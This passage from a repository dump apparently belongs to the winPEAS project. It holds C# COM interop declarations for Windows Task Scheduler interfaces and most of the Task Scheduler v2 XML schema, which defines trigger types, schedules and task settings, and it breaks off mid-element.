Guid(\"A6024FA8-9652-4ADB-A6BF-5CFCD877A7BA\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IMaintenanceSettings\n    {\n        string Period { [param: In, MarshalAs(UnmanagedType.BStr)] set; [return: MarshalAs(UnmanagedType.BStr)] get; }\n        string Deadline { [param: In, MarshalAs(UnmanagedType.BStr)] set; [return: MarshalAs(UnmanagedType.BStr)] get; }\n        bool Exclusive { [param: In] set; get; }\n    }\n\n    [ComImport, Guid(\"3E4C9351-D966-4B8B-BB87-CEBA68BB0107\"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITaskVariables\n    {\n        [return: MarshalAs(UnmanagedType.BStr)]\n        [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]\n        string GetInput();\n        [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]\n        void SetOutput([In, MarshalAs(UnmanagedType.BStr)] string input);\n        [return: MarshalAs(UnmanagedType.BStr)]\n        [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]\n        string GetContext();\n    }\n\n    [ComImport, Guid(\"B45747E0-EBA7-4276-9F29-85C5BB300006\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITimeTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n\n        string RandomDelay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"09941815-EA89-4B5B-89E0-2A773801FAC3\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITrigger\n    {\n        TaskTriggerType Type { get; }\n        string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        bool Enabled { get; [param: In] set; }\n    }\n\n    [ComImport, Guid(\"85DF5081-1B24-4F32-878A-D9D14DF4CB77\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITriggerCollection\n    {\n        int Count { get; }\n        ITrigger this[int index] { [return: MarshalAs(UnmanagedType.Interface)] get; }\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IEnumerator GetEnumerator();\n        [return: MarshalAs(UnmanagedType.Interface)]\n        ITrigger Create([In] TaskTriggerType Type);\n        void Remove([In, MarshalAs(UnmanagedType.Struct)] object index);\n        void Clear();\n    }\n\n    [ComImport, Guid(\"5038FC98-82FF-436D-8728-A512A57C9DC1\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IWeeklyTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n\n        short DaysOfWeek { get; [param: In] set; }\n        short WeeksInterval { get; [param: In] set; }\n        string RandomDelay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/V2/TaskSchedulerV2Schema.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<xs:schema\n\ttargetNamespace=\"http://schemas.microsoft.com/windows/2004/02/mit/task\"\n\txmlns:xs=\"http://www.w3.org/2001/XMLSchema\"\n\txmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\"\n\txmlns:td=\"http://schemas.microsoft.com/windows/2004/02/mit/task\"\n\telementFormDefault=\"qualified\">\n\n\t<xs:element name=\"Task\" type=\"taskType\">\n\n\t\t<xs:key name=\"PrincipalKey\">\n\t\t\t<xs:selector xpath=\"td:Principals/td:Principal\" />\n\t\t\t<xs:field xpath=\"@id\" />\n\t\t</xs:key>\n\n\t\t<!-- Principal id in Context attribute should match an id of some principal in Principals section. -->\n\t\t<xs:keyref name=\"ContextKeyRef\" refer=\"PrincipalKey\">\n\t\t\t<xs:selector xpath=\"td:Actions\" />\n\t\t\t<xs:field xpath=\"@Context\" />\n\t\t</xs:keyref>\n\n\t\t<!-- All ids must be unique -->\n\t\t<xs:unique name=\"UniqueId\">\n\t\t\t<xs:selector xpath=\"td:Principals/td:Principal|td:Triggers/td:BootTrigger|td:Triggers/td:RegistrationTrigger|td:Triggers/td:IdleTrigger|td:Triggers/td:TimeTrigger|td:Triggers/td:EventTrigger|td:Triggers/td:LogonTrigger|td:Triggers/td:SessionStateChangeTrigger|td:Triggers/td:CalendarTrigger|td:Actions/td:Exec|td:Actions/td:ComHandler|td:Actions/td:SendEmail\" />\n\t\t\t<xs:field xpath=\"@id\" />\n\t\t</xs:unique>\n\n\t</xs:element>\n\n\t<xs:simpleType name=\"nonEmptyString\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<xs:minLength value=\"1\"/>\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<xs:simpleType name=\"pathType\">\n\t\t<xs:restriction base=\"nonEmptyString\">\n\t\t\t<xs:maxLength value=\"260\"/>\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<xs:simpleType name=\"versionType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<xs:pattern value=\"\\d+(\\.\\d+){1,3}\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<!-- Task -->\n\t<xs:complexType name=\"taskType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"RegistrationInfo\" type=\"registrationInfoType\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Triggers\"         type=\"triggersType\"         minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Settings\"         type=\"settingsType\"         minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Data\"             type=\"dataType\"             minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Principals\"       type=\"principalsType\"       minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Actions\"          type=\"actionsType\" />\n\t\t</xs:all>\n\t\t<xs:attribute name=\"version\" use=\"optional\" type=\"versionType\" />\n\t</xs:complexType>\n\n\t<!-- RegistrationInfo -->\n\t<xs:complexType name=\"registrationInfoType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"URI\"                type=\"xs:anyURI\"                  minOccurs=\"0\" />\n\t\t\t<xs:element name=\"SecurityDescriptor\" type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Source\"             type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Date\"               type=\"xs:dateTime\"                minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Author\"             type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Version\"            type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Description\"        type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Documentation\"      type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- Triggers -->\n\t<xs:complexType name=\"triggersType\">\n\t\t<xs:group ref=\"triggerGroup\" minOccurs=\"0\" maxOccurs=\"48\"/>\n\t</xs:complexType>\n\t\n\t<xs:group name=\"triggerGroup\">\n\t\t<xs:choice>\n\t\t\t<xs:element name=\"BootTrigger\"               type=\"bootTriggerType\"               minOccurs=\"0\" />\n\t\t\t<xs:element name=\"RegistrationTrigger\"       type=\"registrationTriggerType\"       minOccurs=\"0\" />\n\t\t\t<xs:element name=\"IdleTrigger\"               type=\"idleTriggerType\"               minOccurs=\"0\" />\n\t\t\t<xs:element name=\"TimeTrigger\"               type=\"timeTriggerType\"               minOccurs=\"0\" />\n\t\t\t<xs:element name=\"EventTrigger\"              type=\"eventTriggerType\"              minOccurs=\"0\" />\n\t\t\t<xs:element name=\"LogonTrigger\"              type=\"logonTriggerType\"              minOccurs=\"0\" />\n\t\t\t<xs:element name=\"SessionStateChangeTrigger\" type=\"sessionStateChangeTriggerType\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"CalendarTrigger\"           type=\"calendarTriggerType\"           minOccurs=\"0\" />\n\t\t\t<xs:element name=\"WnfStateChangeTrigger\"     type=\"customTriggerType\"             minOccurs=\"0\" />\n\t\t</xs:choice>\n\t</xs:group>\n\n\t<!-- Base type for all triggers -->\n\t<xs:complexType name=\"triggerBaseType\" abstract=\"true\">\n\t\t<xs:sequence>\n\t\t\t<xs:element name=\"Repetition\"         type=\"repetitionType\"                 minOccurs=\"0\" />\n\t\t\t<xs:element name=\"StartBoundary\"      type=\"xs:dateTime\"                    minOccurs=\"0\" />\n\t\t\t<xs:element name=\"EndBoundary\"        type=\"xs:dateTime\"                    minOccurs=\"0\" />\n\t\t\t<xs:element name=\"ExecutionTimeLimit\" type=\"xs:duration\"    default=\"PT72H\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Enabled\"            type=\"xs:boolean\"     default=\"true\"  minOccurs=\"0\" />\n\t\t</xs:sequence>\n\t\t<xs:attribute name=\"id\" type=\"xs:string\" use=\"optional\" />\n\t</xs:complexType>\n\n\t<!-- Repetition -->\n\t<xs:complexType name=\"repetitionType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"Interval\">\n\t\t\t\t<xs:simpleType>\n\t\t\t\t\t<xs:restriction base=\"xs:duration\">\n\t\t\t\t\t\t<xs:minInclusive value=\"PT1M\"/>\n\t\t\t\t\t\t<xs:maxInclusive value=\"P31D\"/>\n\t\t\t\t\t</xs:restriction>\n\t\t\t\t</xs:simpleType>\n\t\t\t</xs:element>\n\t\t\t<xs:element name=\"Duration\" minOccurs=\"0\">\n\t\t\t\t<xs:simpleType>\n\t\t\t\t\t<xs:restriction base=\"xs:duration\">\n\t\t\t\t\t\t<xs:minInclusive value=\"PT1M\"/>\n\t\t\t\t\t</xs:restriction>\n\t\t\t\t</xs:simpleType>\n\t\t\t</xs:element>\n\t\t\t<xs:element name=\"StopAtDurationEnd\"    type=\"xs:boolean\" default=\"false\" minOccurs=\"0\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- BootTrigger -->\n\t<xs:complexType name=\"bootTriggerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"triggerBaseType\">\n\t\t\t\t<xs:sequence>\n\t\t\t\t\t<xs:element name=\"Delay\"        type=\"xs:duration\" default=\"PT0M\" minOccurs=\"0\" />\n\t\t\t\t</xs:sequence>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\t\n\t<!-- CustomTrigger -->\n\t<xs:complexType name=\"customTriggerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"triggerBaseType\">\n\t\t\t\t<xs:sequence>\n\t\t\t\t\t<xs:any minOccurs=\"0\" />\n\t\t\t\t</xs:sequence>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<!-- RegistrationTrigger -->\n\t<xs:complexType name=\"registrationTriggerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"triggerBaseType\">\n\t\t\t\t<xs:sequence>\n\t\t\t\t\t<xs:element name=\"Delay\" type=\"xs:duration\" default=\"PT0M\" minOccurs=\"0\" />\n\t\t\t\t</xs:sequence>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<!-- IdleTrigger -->\n\t<xs:complexType name=\"idleTriggerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"triggerBaseType\" />\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<!-- TimeTrigger -->\n\t<xs:complexType name=\"timeTriggerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"triggerBaseType\">\n\t\t\t\t<xs:sequence>\n\t\t\t\t\t<xs:element name=\"RandomDelay\"  type=\"xs:duration\" default=\"PT0M\" minOccurs=\"0\" />\n\t\t\t\t</xs:sequence>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<!--valueQueries-->\n\t<xs:complexType name=\"namedValues\">\n\t\t<xs:sequence>\n\t\t\t<xs:element name=\"Value\" type=\"namedValue\" minOccurs=\"1\" maxOccurs=\"32\"/>\n\t\t</xs:sequence>\n\t</xs:complexType>\n\n\t<xs:complexType name=\"namedValue\">\n\t\t<xs:simpleContent>\n\t\t\t<xs:extension base=\"nonEmptyString\">\n\t\t\t\t<xs:attribute name=\"name\" type=\"nonEmptyString\" use=\"required\" />\n\t\t\t</xs:extension>\n\t\t</xs:simpleContent>\n\t</xs:complexType>\n\n\t<!-- EventTrigger -->\n\t<xs:complexType name=\"eventTriggerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"triggerBaseType\">\n\t\t\t\t<xs:sequence>\n\t\t\t\t\t<xs:element name=\"Subscription\" type=\"nonEmptyString\" />\n\t\t\t\t\t<xs:element name=\"Delay\"        type=\"xs:duration\" default=\"PT0M\" minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"PeriodOfOccurrence\"  type=\"xs:duration\" default=\"PT0M\" minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"NumberOfOccurrences\" default=\"1\" minOccurs=\"0\">\n\t\t\t\t\t\t<xs:simpleType>\n\t\t\t\t\t\t\t<xs:restriction base=\"xs:unsignedByte\">\n\t\t\t\t\t\t\t\t<xs:minInclusive value=\"1\"/>\n\t\t\t\t\t\t\t\t<xs:maxInclusive value=\"32\"/>\n\t\t\t\t\t\t\t</xs:restriction>\n\t\t\t\t\t\t</xs:simpleType>\n\t\t\t\t\t</xs:element>\n\t\t\t\t\t<xs:element name=\"MatchingElement\" type=\"nonEmptyString\" minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"ValueQueries\" type=\"namedValues\" minOccurs=\"0\" />\n\t\t\t\t</xs:sequence>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<!-- LogonTrigger -->\n\t<xs:complexType name=\"logonTriggerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"triggerBaseType\">\n\t\t\t\t<xs:sequence>\n\t\t\t\t\t<xs:element name=\"UserId\"   type=\"nonEmptyString\" minOccurs=\"0\" maxOccurs=\"1\" />\n\t\t\t\t\t<xs:element name=\"Delay\"    type=\"xs:duration\" default=\"PT0M\" minOccurs=\"0\" />\n\t\t\t\t</xs:sequence>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<!-- SessionStateChangeTrigger -->\n\t<xs:simpleType name=\"sessionStateChangeType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<xs:enumeration value=\"ConsoleConnect\" />\n\t\t\t<xs:enumeration value=\"ConsoleDisconnect\" />\n\t\t\t<xs:enumeration value=\"RemoteConnect\" />\n\t\t\t<xs:enumeration value=\"RemoteDisconnect\" />\n\t\t\t<xs:enumeration value=\"SessionLock\"  />\n\t\t\t<xs:enumeration value=\"SessionUnlock\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<xs:complexType name=\"sessionStateChangeTriggerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"triggerBaseType\">\n\t\t\t\t<xs:sequence>\n\t\t\t\t\t<xs:element name=\"StateChange\" type=\"sessionStateChangeType\"                minOccurs=\"1\" maxOccurs=\"1\"/>\n\t\t\t\t\t<xs:element name=\"UserId\"      type=\"nonEmptyString\"                        minOccurs=\"0\" maxOccurs=\"1\"/>\n\t\t\t\t\t<xs:element name=\"Delay\"       type=\"xs:duration\"            default=\"PT0M\" minOccurs=\"0\" />\n\t\t\t\t</xs:sequence>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\n\t<!-- CalendarTrigger -->\n\t<xs:complexType name=\"calendarTriggerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"triggerBaseType\">\n\t\t\t\t<xs:sequence>\n\t\t\t\t\t<xs:element name=\"RandomDelay\"  type=\"xs:duration\" default=\"PT0M\" minOccurs=\"0\" />\n\t\t\t\t\t<xs:choice>\n\t\t\t\t\t\t<xs:element name=\"ScheduleByDay\"            type=\"dailyScheduleType\" />\n\t\t\t\t\t\t<xs:element name=\"ScheduleByWeek\"           type=\"weeklyScheduleType\" />\n\t\t\t\t\t\t<xs:element name=\"ScheduleByMonth\"          type=\"monthlyScheduleType\" />\n\t\t\t\t\t\t<xs:element name=\"ScheduleByMonthDayOfWeek\" type=\"monthlyDayOfWeekScheduleType\" />\n\t\t\t\t\t</xs:choice>\n\t\t\t\t</xs:sequence>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<!-- DailySchedule -->\n\t<xs:complexType name=\"dailyScheduleType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"DaysInterval\" minOccurs=\"0\">\n\t\t\t\t<xs:simpleType>\n\t\t\t\t\t<xs:restriction base=\"xs:unsignedInt\">\n\t\t\t\t\t\t<xs:minInclusive value=\"1\"/>\n\t\t\t\t\t\t<xs:maxInclusive value=\"365\"/>\n\t\t\t\t\t</xs:restriction>\n\t\t\t\t</xs:simpleType>\n\t\t\t</xs:element>\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- WeeklySchedule -->\n\t<xs:complexType name=\"weeklyScheduleType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"WeeksInterval\" minOccurs=\"0\">\n\t\t\t\t<xs:simpleType>\n\t\t\t\t\t<xs:restriction base=\"xs:unsignedByte\">\n\t\t\t\t\t\t<xs:minInclusive value=\"1\"/>\n\t\t\t\t\t\t<xs:maxInclusive value=\"52\"/>\n\t\t\t\t\t</xs:restriction>\n\t\t\t\t</xs:simpleType>\n\t\t\t</xs:element>\n\t\t\t<xs:element name=\"DaysOfWeek\" type=\"daysOfWeekType\" minOccurs=\"0\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- MonthlySchedule -->\n\t<xs:complexType name=\"monthlyScheduleType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"DaysOfMonth\" type=\"daysOfMonthType\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Months\" type=\"monthsType\" minOccurs=\"0\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- MonthlyDayOfWeekSchedule -->\n\t<xs:complexType name=\"monthlyDayOfWeekScheduleType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"Weeks\"        type=\"weeksType\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"DaysOfWeek\"   type=\"daysOfWeekType\" />\n\t\t\t<xs:element name=\"Months\"       type=\"monthsType\" minOccurs=\"0\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- DaysOfWeek -->\n\t<xs:complexType name=\"daysOfWeekType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"Monday\"       fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Tuesday\"      fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Wednesday\"    fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Thursday\"     fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Friday\"       fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Saturday\"     fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Sunday\"       fixed=\"\" minOccurs=\"0\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- Months -->\n\t<xs:complexType name=\"monthsType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"January\"      fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"February\"     fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"March\"        fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"April\"        fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"May\"          fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"June\"         fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"July\"         fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"August\"       fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"September\"    fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"October\"      fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"November\"     fixed=\"\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"December\"     fixed=\"\" minOccurs=\"0\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- DaysOfMonth -->\n\t<xs:complexType name=\"daysOfMonthType\">\n\t\t<xs:sequence>\n\t\t\t<xs:element name=\"Day\" type=\"dayOfMonthType\" minOccurs=\"0\" maxOccurs=\"32\" />\n\t\t</xs:sequence>\n\t</xs:complexType>\n\t<xs:simpleType name=\"dayOfMonthType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<xs:pattern value=\"[1-9]|[1-2][0-9]|3[0-1]|Last\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<!-- Weeks -->\n\t<xs:complexType name=\"weeksType\">\n\t\t<xs:sequence>\n\t\t\t<xs:element name=\"Week\" type=\"weekType\" minOccurs=\"0\" maxOccurs=\"5\" />\n\t\t</xs:sequence>\n\t</xs:complexType>\n\t<xs:simpleType name=\"weekType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<xs:pattern value=\"[1-4]|Last\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<!-- Settings -->\n\t<xs:complexType name=\"settingsType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"AllowStartOnDemand\"               type=\"xs:boolean\"                   default=\"true\"      minOccurs=\"0\" />\n\t\t\t<xs:element name=\"RestartOnFailure\"                 type=\"restartType\"                                      minOccurs=\"0\" />\n\t\t\t<xs:element name=\"MultipleInstancesPolicy\"          type=\"multipleInstancesPolicyType\"  default=\"IgnoreNew\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"DisallowStartIfOnBatteries\"       type=\"xs:boolean\"                   default=\"true\"      minOccurs=\"0\" />\n\t\t\t<xs:element name=\"StopIfGoingOnBatteries\"           type=\"xs:boolean\"                   default=\"true\"      minOccurs=\"0\" />\n\t\t\t<xs:element name=\"AllowHardTerminate\"               type=\"xs:boolean\"                   default=\"true\"      minOccurs=\"0\" />\n\t\t\t<xs:element name=\"StartWhenAvailable\"               type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t\t\t<xs:element name=\"NetworkProfileName\"               type=\"xs:string\"                                        minOccurs=\"0\" />\n\t\t\t<xs:element name=\"RunOnlyIfNetworkAvailable\"        type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t\t\t<xs:element name=\"WakeToRun\"                        type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Enabled\"                          type=\"xs:boolean\"                   default=\"true\"      minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Hidden\"                           type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t\t\t<xs:element name=\"DeleteExpiredTaskAfter\"           type=\"xs:duration\"                  default=\"PT0S\"      minOccurs=\"0\" />\n\t\t\t<xs:element name=\"IdleSettings\"                     type=\"idleSettingsType\"                                 minOccurs=\"0\" />\n\t\t\t<xs:element name=\"NetworkSettings\"                  type=\"networkSettingsType\"                              minOccurs=\"0\" />\n\t\t\t<xs:element name=\"ExecutionTimeLimit\"               type=\"xs:duration\"                  default=\"PT72H\"     minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Priority\"                         type=\"priorityType\"                 default=\"7\"         minOccurs=\"0\" />\n\t\t\t<xs:element name=\"RunOnlyIfIdle\"                    type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t\t\t<xs:element name=\"UseUnifiedSchedulingEngine\"       type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t\t\t<xs:element name=\"Volatile\"                         type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t\t\t<xs:element name=\"DisallowStartOnRemoteAppSession\"  type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t\t\t<xs:element name=\"MaintenanceSettings\"              type=\"maintenanceSettingsType\"                          minOccurs=\"0\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\t\n\t<!-- MaintenanceSettings -->\n\t<xs:complexType name=\"maintenanceSettingsType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"Period\" minOccurs=\"1\" maxOccurs=\"1\">\n\t\t\t\t<xs:simpleType>\n\t\t\t\t\t<xs:restriction base=\"xs:duration\">\n\t\t\t\t\t\t<xs:minInclusive value=\"P1D\" />\n\t\t\t\t\t</xs:restriction>\n\t\t\t\t</xs:simpleType>\n\t\t\t</xs:element>\n\t\t\t<xs:element name=\"Deadline\" minOccurs=\"1\" maxOccurs=\"1\">\n\t\t\t\t<xs:simpleType>\n\t\t\t\t\t<xs:restriction base=\"xs:duration\">\n\t\t\t\t\t\t<xs:minInclusive value=\"P1D\" />\n\t\t\t\t\t</xs:restriction>\n\t\t\t\t</xs:simpleType>\n\t\t\t</xs:element>\n\t\t\t<xs:element name=\"Exclusive\" type=\"xs:boolean\" maxOccurs=\"1\" minOccurs=\"1\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- MultipleInstancesPolicy -->\n\t<xs:simpleType name=\"multipleInstancesPolicyType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<xs:enumeration value=\"Parallel\" />\n\t\t\t<xs:enumeration value=\"Queue\" />\n\t\t\t<xs:enumeration value=\"IgnoreNew\" />\n\t\t\t<xs:enumeration value=\"StopExisting\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<!-- Lower number means higher priority. -->\n\t<xs:simpleType name=\"priorityType\">\n\t\t<xs:restriction base=\"xs:byte\">\n\t\t\t<xs:minInclusive value=\"0\" fixed=\"true\" />\n\t\t\t<xs:maxInclusive value=\"10\" fixed=\"true\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<!-- IdleSettings -->\n\t<xs:complexType name=\"idleSettingsType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"Duration\" default=\"PT10M\" minOccurs=\"0\">\n\t\t\t\t<xs:simpleType>\n\t\t\t\t\t<xs:restriction base=\"xs:duration\">\n\t\t\t\t\t\t<xs:minInclusive value=\"PT1M\"/>\n\t\t\t\t\t</xs:restriction>\n\t\t\t\t</xs:simpleType>\n\t\t\t</xs:element>\n\t\t\t<xs:element name=\"WaitTimeout\" default=\"PT1H\"  minOccurs=\"0\">\n\t\t\t\t<xs:simpleType>\n\t\t\t\t\t<xs:restriction base=\"xs:duration\">\n\t\t\t\t\t\t<xs:minInclusive value=\"PT1M\"/>\n\t\t\t\t\t</xs:restriction>\n\t\t\t\t</xs:simpleType>\n\t\t\t</xs:element>\n\t\t\t<xs:element name=\"StopOnIdleEnd\" type=\"xs:boolean\"  default=\"true\"  minOccurs=\"0\" />\n\t\t\t<xs:element name=\"RestartOnIdle\" type=\"xs:boolean\"  default=\"false\" minOccurs=\"0\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- NetworkSettings -->\n\t<xs:complexType name=\"networkSettingsType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"Name\" type=\"nonEmptyString\" minOccurs=\"0\" 